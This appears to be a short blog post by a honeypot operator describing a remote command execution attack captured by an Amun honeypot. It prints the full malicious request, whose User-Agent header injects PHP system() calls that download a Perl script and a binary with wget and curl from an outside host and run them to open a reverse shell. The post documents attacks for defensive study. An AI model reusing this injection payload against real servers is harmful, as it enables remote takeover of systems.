Remote Command Execution
I just noticed the following exploit hitting our Amun honeypot installation:
xxx.xxx.181.165 -> xxx.xxx.153.105:80 (HTTP Vulnerability: http://xxx.xxx.120.69:80/cb.txt) (Shellcode: plainurl)
The cb.txt file contains Perl code for a connect back Linux shell to the attacker. The exploit uses Remote Command Execution (RCE) to get the victim to download and execute the script. The attack request looks as follows:
GET HTTP/1.1 HTTP/1.1
Accept: */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: <?system('cd /var/tmp;wget http://xxx.xxx.120.69/cb.txt;perl cb.txt xxx.xxx.5.30 80;wget http://xxx.xxx.120.69/cback;chmod +x cback;./cback xxx.xxx.5.30 80;cd /dev/shm;curl -O http://xxx.xxx.120.69/cb.txt;perl cb.txt xxx.xxx.5.30 80;curl -O http://xxx.xxx.120.69/cback;chmod +x cback;./cback xxx.xxx.5.30 80');?> ;
[...]
The exploit uses several different methods to execute the same script. I will try to investigate this incident further, as soon as i have more time, but i guess the next amun release requires a Linux shell emulation module =)

